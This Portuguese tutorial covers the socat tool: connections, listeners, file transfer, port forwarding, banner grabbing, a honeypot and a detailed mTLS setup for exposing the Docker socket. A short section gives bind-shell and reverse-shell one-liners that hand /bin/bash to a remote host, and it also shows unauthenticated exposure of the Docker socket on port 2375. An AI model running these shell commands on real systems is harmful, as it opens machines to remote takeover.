Pular para o conteúdo principal

socat

O socat (SOcket CAT) é uma ferramenta flexível de linha de comando que permite a transferência de dados entre dois endpoints, sejam eles soquetes TCP/UDP, portas seriais, arquivos, pipes ou até mesmo conexões criptografadas. Ele pode ser comparado ao nc (netcat), mas oferece mais recursos e opções de configuração.

Principais usos

  • Redirecionamento de portas (TCP e UDP);
  • Tunelamento de conexões, com ou sem criptografia;
  • Encapsulamento de dados em SSL/TLS;
  • Criação de proxies TCP simples;
  • Escuta e teste de daemons de rede;
  • Transferência de arquivos entre hosts;
  • Exposição de shell (bind shell e reverse shell);
  • Encaminhamento de conexões para processos locais, portas seriais, etc.

Conectando

Assim como o nc, o socat pode efetuar conexões TCP. Porém, a sintaxe dele é diferente, pois precisamos especificar dois "addresses" (endereços) que ele irá conectar ou escutar.

Conexão TCP

Para estabelecer uma conexão TCP a um destino 172.16.1.4 na porta 110, podemos utilizar:

socat STDIO TCP:172.16.1.4:110
informação

STDIO: indica que o socat usará a entrada/saída padrão do terminal;
TCP:172.16.1.4:110: indica que iremos utilizar TCP, conectando na porta 110 do IP 172.16.1.4.

Conexão UDP

Para utilizar UDP em vez de TCP, basta trocar a especificação:

socat STDIO UDP:127.0.0.1:9000

Escutando

O socat também permite que você crie um listener, ou seja, uma porta que ficará escutando conexões externas (semelhante ao nc -l).

Escuta TCP

Para escutar na porta 5050 em modo TCP:

socat TCP-LISTEN:5050,fork STDOUT
informação

TCP-LISTEN:5050: indica que vamos escutar na porta 5050 usando TCP; fork: faz com que, a cada nova conexão, o processo seja duplicado (fork), permitindo aceitar múltiplas conexões sequencialmente; STDOUT: direciona a saída para a saída padrão.

Depois, no outro lado, podemos nos conectar com:

socat STDIO TCP:192.168.0.10:5050

Escuta UDP

Para escutar na porta 9000 com UDP:

socat UDP-LISTEN:9000,fork STDOUT

Transferência de Arquivos

O socat pode ser utilizado para transferir arquivos ou dados de forma semelhante ao nc, pois ele simplesmente redireciona fluxos de dados.

Upload

No alvo (que receberá o arquivo):

touch arquivo_recebido
socat TCP-LISTEN:5050,fork OPEN:arquivo_recebido
informação

Note que criamos o arquivo antes, mesmo que vazio, ele precisa existir.
OPEN:arquivo_recebido: faz com que tudo que chegar na porta 5050 seja escrito diretamente no arquivo arquivo_recebido.

No atacante (que enviará o arquivo):

socat OPEN:arquivo_para_enviar TCP:172.16.2.6:5050

Download

No atacante (onde está o arquivo):

socat TCP-LISTEN:5050,fork OPEN:arquivo_para_enviar

No alvo (que vai iniciar a conexão para baixar o arquivo):

touch arquivo_recebido
socat TCP:172.16.2.5:5050 OPEN:arquivo_recebido

Encaminhando Saída de Comandos

Podemos redirecionar a saída de um comando para o socat a fim de enviar essa saída através de uma conexão de rede. Por exemplo, para enviar a saída de cat /etc/os-release para quem se conectar na porta 5050:

socat TCP-LISTEN:5050,fork SYSTEM:'cat /etc/os-release'

Quando alguém se conectar usando outro socat ou nc nessa porta, receberá o conteúdo do arquivo /etc/os-release.

Expondo Shell

Assim como no nc, é possível usar o socat para expor uma shell.

Bind Shell

Executado na máquina-alvo para abrir a porta 5050 e expor /bin/bash:

socat TCP-LISTEN:5050,fork EXEC:/bin/bash
informação

EXEC:/bin/bash: executa o comando /bin/bash e redireciona o I/O (Input/Output).

Depois, no atacante, basta conectar:

socat STDIO TCP:192.168.0.10:5050

Reverse Shell

Executado na máquina-alvo, que fará a conexão ativa de volta para 192.168.0.100 na porta 5050, expondo /bin/bash:

socat TCP:192.168.0.100:5050 EXEC:/bin/bash

No atacante, precisamos escutar:

socat TCP-LISTEN:5050,fork STDOUT

Encapsulando em SSL/TLS

Um dos maiores diferenciais do socat em relação ao nc é a capacidade de estabelecer conexões criptografadas usando SSL/TLS de maneira nativa.

Exemplo de Conexão Criptografada

Servidor escutando em TLS:

socat OPENSSL-LISTEN:443,cert=server.crt,key=server.key,verify=0,fork STDOUT

Cliente conectando-se ao servidor via TLS:

socat STDIO OPENSSL:meuservidor.com:443,verify=0
informação

Dica: A opção verify=0 desabilita a verificação do certificado, o que pode ser útil em testes ou ambientes de laboratório. Em produção, deve-se usar verificação adequada.

Encaminhando Portas (Port Forwarding)

Com o socat, é simples criar um túnel redirecionando a porta local para outra porta/host.

Por exemplo, se queremos que conexões na porta 8080 do host local sejam encaminhadas para 192.168.1.100:80, podemos usar:

socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

Qualquer conexão na porta local 8080 será então encaminhada para a porta 80 do endereço 192.168.1.100.

Escaneando Portas

O socat não é a melhor ferramenta para varredura de portas (como o nc ou o nmap), mas pode ser usado em scripts e one-liners para verificar a disponibilidade de um determinado serviço.

Para testar se a porta 22 de um host está aberta, podemos observar o retorno:

socat - TCP:172.16.1.5:22

Caso a conexão seja estabelecida, o socat aguardará dados (ou fechará se não houver resposta). Se a porta estiver fechada ou filtrada, a conexão falhará e o socat retornará erro.

Para varreduras mais elaboradas, nc, ncat ou nmap são mais adequados.

Também podemos fazer o "banner grabbing" de um serviço, enviando comandos e analisando as respostas diretamente no terminal.

HTTP

printf 'HEAD / HTTP/1.0\n\n' | \
socat STDIO TCP:www.alvo.com:80

Ao digitar o comando HEAD / HTTP/1.0 e pressionar Enter duas vezes (no comando acima represantado pelo \n\n), veremos o banner de resposta do servidor HTTP.

FTP

socat STDIO TCP:192.168.1.100:21
USER anonymous
PASS anonymous

Expondo Unix Sock

Você pode usar o comando socat para expor o socket do Docker via TCP, tanto com quanto sem SSL/TLS. O socat é uma ferramenta flexível que permite redirecionar conexões entre diferentes tipos de sockets.

Expor o Socket sem SSL/TLS

Execute o seguinte comando para expor o socket do Docker em um endpoint TCP:

socat TCP-LISTEN:2375,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sock
informação

TCP-LISTEN:2375: Escuta conexões TCP na porta 2375. reuseaddr: Permite reutilizar o endereço. fork: Cria um novo processo para cada conexão. UNIX-CONNECT:/var/run/docker.sock: Conecta ao socket UNIX do Docker.

No cliente, você pode testar a conexão ao socket exposto com o Docker CLI:

docker -H tcp://<host>:2375 ps

Expor o Socket com SSL/TLS

Abaixo segue um passo a passo detalhado de como expor o socket Unix do Docker através do socat com suporte a TLS, utilizando certificados autoassinados. Também será demonstrada a forma de geração de certificados tanto do lado do servidor (onde roda o socat) quanto do lado do cliente (Docker CLI), de modo que a conexão possa ser verificada e segura.

1. Visão Geral do Fluxo

  1. Docker Daemon expõe seu socket Unix localmente em /var/run/docker.sock.
  2. socat escuta em uma porta TCP (por exemplo, 2376), utilizando um certificado server assinado por uma CA (Certification Authority), e faz a ponte para o /var/run/docker.sock.
  3. O Docker CLI (cliente) precisa de um certificado client, assinado pela mesma CA, para que a conexão TLS seja estabelecida e verificada com sucesso.
  4. Ambos os lados (cliente e servidor) utilizam a mesma CA e precisam das chaves e certificados adequados.

2. Geração de Certificados Autoassinados

Para que tenhamos um canal TLS confiável, vamos criar nossa própria CA (autoridade certificadora), depois gerar certificados de servidor e cliente assinados por essa CA.

3. Estrutura de Pastas

Para organizar melhor, crie uma pasta para os certificados e entre nela:

mkdir ~/docker-certs
cd ~/docker-certs

4. Criar uma Autoridade Certificadora (CA)

Gerar chave privada da CA:

openssl genrsa -aes256 -out ca-key.pem 4096
informação

Será solicitada uma senha para proteger a chave da CA. Guarde essa senha em local seguro.

Gerar certificado raiz (self-signed) para a CA:

openssl req -new -x509 -days 3650 -key ca-key.pem -sha256 -out ca.pem
informação

-days 3650 significa que o certificado terá validade de 10 anos (ajuste conforme necessário).
Na parte interativa, você pode preencher os campos como quiser, mas atente-se especialmente ao campo Common Name, pois é uma boa prática colocar algo que identifique que este certificado é a CA, por exemplo: MyDockerCA.

Agora você terá dois arquivos importantes na pasta:

  • ca-key.pem (chave privada da CA)
  • ca.pem (certificado público da CA)

5. Gerar o Certificado do Servidor (para o socat)

O servidor precisará de um certificado que será usado pelo socat. Ele será assinado pela nossa CA recém-criada.

Gerar chave privada do servidor:

openssl genrsa -out server-key.pem 4096

É preciso criar o certificado de servidor com o campo SAN adequado para o host ao qual você se conecta. A forma mais simples é utilizando um arquivo de configuração para o openssl. Veja um modelo de arquivo de configuração:

server.cnf
[ req ]
default_bits = 4096
distinguished_name = req_distinguished_name
req_extensions = req_ext
prompt = no

[ req_distinguished_name ]
C = BR
ST = Sao Paulo
L = Sao Paulo
O = MinhaEmpresa
CN = my-docker-server

[ req_ext ]
subjectAltName = @alt_names

[ alt_names ]
DNS.1 = my-docker-server
DNS.2 = localhost
IP.1 = 127.0.0.1

Gerar uma CSR (Certificate Signing Request) usando o arquivo de configuração:

openssl req -new -key server-key.pem -out server.csr -config server.cnf

Assinar o certificado do servidor com a CA:

openssl x509 -req -days 3650 -in server.csr -CA ca.pem -CAkey ca-key.pem \
-CAcreateserial -out server-cert.pem -sha256
informação

Isso vai gerar o server-cert.pem assinado pela CA.
Será solicitada a senha da CA (caso você tenha usado -aes256 no passo anterior).

(Opcional) Remover frase de senha (passphrase) da chave do servidor para evitar interações:

openssl rsa -in server-key.pem -out server-key.pem
informação

Somente se você quiser que o socat não peça senha sempre que iniciar.

Agora você tem os seguintes arquivos referentes ao servidor (socat):

  • server-key.pem (chave privada do servidor)
  • server-cert.pem (certificado do servidor, assinado pela CA)
  • server.csr (a CSR, não será necessária mais após a assinatura)
  • ca.pem (certificado público da CA)

6. Gerar o Certificado do Cliente (para o Docker CLI)

O lado cliente também precisa ter um certificado para que o servidor possa verificar a identidade dele via TLS mútua (mTLS). É praticamente o mesmo procedimento:

Gerar chave privada do cliente:

openssl genrsa -out key.pem 4096

Gerar CSR do cliente:

openssl req -subj "/CN=my-docker-client" -new -key key.pem -out client.csr

Assinar o certificado do cliente usando a CA:

openssl x509 -req -days 3650 -in client.csr -CA ca.pem -CAkey ca-key.pem \
-CAcreateserial -out cert.pem -sha256

(Opcional) Remover a frase de senha da chave do cliente:

openssl rsa -in key.pem -out key.pem

Arquivos importantes do lado do cliente:

  • key.pem (chave privada do cliente)
  • cert.pem (certificado do cliente, assinado pela CA)
  • ca.pem (certificado público da CA) – é o mesmo arquivo ca.pem que assinou tudo.
informação

O cliente também precisará de uma cópia do ca.pem para verificar a autenticidade do servidor.

7. Executar o socat com TLS

Agora que você tem os certificados do lado servidor, pode executar o socat:

socat \
OPENSSL-LISTEN:2376,fork,reuseaddr,\
cert=server-cert.pem,key=server-key.pem,cafile=ca.pem,verify=1 \
unix-connect:/var/run/docker.sock
informação
  • OPENSSL-LISTEN:2376: socat vai escutar na porta 2376 (padrão de TLS para Docker remoto).
  • fork: permite que socat aceite múltiplas conexões simultâneas, criando processos filhos.
  • reuseaddr: permite reuso imediato da porta em caso de restart.
  • cert=server-cert.pem: caminho do certificado do servidor.
  • key=server-key.pem: caminho da chave privada do servidor.
  • cafile=ca.pem: arquivo da CA para verificar o certificado de quem conecta.
  • verify=1: exige que os clientes apresentem certificado válido (mTLS).
  • unix-connect:/var/run/docker.sock: conecta localmente ao socket do Docker.

Dica: Se o Docker estiver rodando em /var/run/docker.sock, verifique as permissões do arquivo e se você tem permissões adequadas para acessá-lo.

8. Configurar o Docker CLI (Cliente) para usar TLS

No lado do cliente, precisamos:

Copiar (ou ter disponível):

  • ca.pem (CA)
  • cert.pem (certificado do cliente)
  • key.pem (chave privada do cliente)

Definir variáveis de ambiente para o Docker CLI:

export DOCKER_HOST=tcp://<IP_DO_SERVIDOR>:2376
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=/caminho/para/o/diretorio/dos/certs
informação
  • <IP_DO_SERVIDOR> é o IP ou hostname onde o socat está escutando (pode ser 127.0.0.1 se for local).
  • DOCKER_CERT_PATH deve apontar para o diretório que contém ca.pem, cert.pem e key.pem.

Testar a conexão:

docker info

ou

docker ps

Outra opção sem a necessidade de exportar as variáveis de ambiente:

docker --tlsverify \
--tlscacert=ca.pem \
--tlscert=cert.pem \
--tlskey=key.pem \
-H=tcp://localhost:2376 \
ps

Caso esteja tudo configurado corretamente, o Docker CLI vai se conectar ao socat via TLS, o socat vai se conectar ao socket Unix local do Docker, e você deverá ver as informações dos contêineres ou do daemon Docker.

9. Considerações de Segurança

  • Sempre proteja as chaves privadas (ca-key.pem, server-key.pem e key.pem) com permissões de arquivo corretas.
  • Idealmente, utilize Subject Alternative Names (SAN) para evitar warning de "Common Name mismatch", especialmente se não for usar localhost.
  • Em produção, ou em ambiente de rede mais ampla, considere usar certificados de uma CA confiável ou um serviço interno de PKI, ao invés de autoassinados.

10. Resumo

  1. Gere a CA (chave e certificado raiz).
  2. Gere o certificado e a chave do servidor (assine com a CA).
  3. Gere o certificado e a chave do cliente (assine com a CA).
  4. Inicie o socat com OPENSSL-LISTEN na porta desejada, apontando para os certificados do servidor e exigindo (verify=1) um certificado válido do cliente.
  5. Configure o cliente Docker com variáveis de ambiente apontando para a porta e habilitando TLS, além de fornecer os certificados para autenticação mútua.

Assim, você terá um túnel TLS entre o Docker CLI (cliente) e o Docker Daemon (servidor, via socket Unix), garantindo confidencialidade e autenticidade de ambas as partes.

Honeypot Simples

O socat pode ser usado de forma rudimentar para montar um honeypot, embora existam soluções mais completas voltadas a isso. Um exemplo seria apenas enviar um banner falso e registrar as entradas:

cat << EOF > fake_ftp_banner.txt
220 ProFTPD 1.3.4a Server (Ubuntu)
EOF
while true; do
socat TCP-LISTEN:21,fork SYSTEM:'cat fake_ftp_banner.txt' |& tee -a ftp.log
echo "$(date)" >> ftp.log
done

Esse script simples escutará na porta 21 e, ao receber uma conexão, enviará o conteúdo do fake_ftp_banner.txt. O tee registrará tudo no arquivo ftp.log.

Conclusão

O socat é uma ferramenta poderosa, que vai além do nc em muitos aspectos, principalmente devido ao suporte avançado a SSL/TLS, suporte a portas seriais, fork, e diversas outras opções de endereçamento. Para quem precisa de conexões mais versáteis e seguras, o socat é um excelente aliado, seja para simples testes de portas ou para a construção de túneis criptografados em ambientes de produção.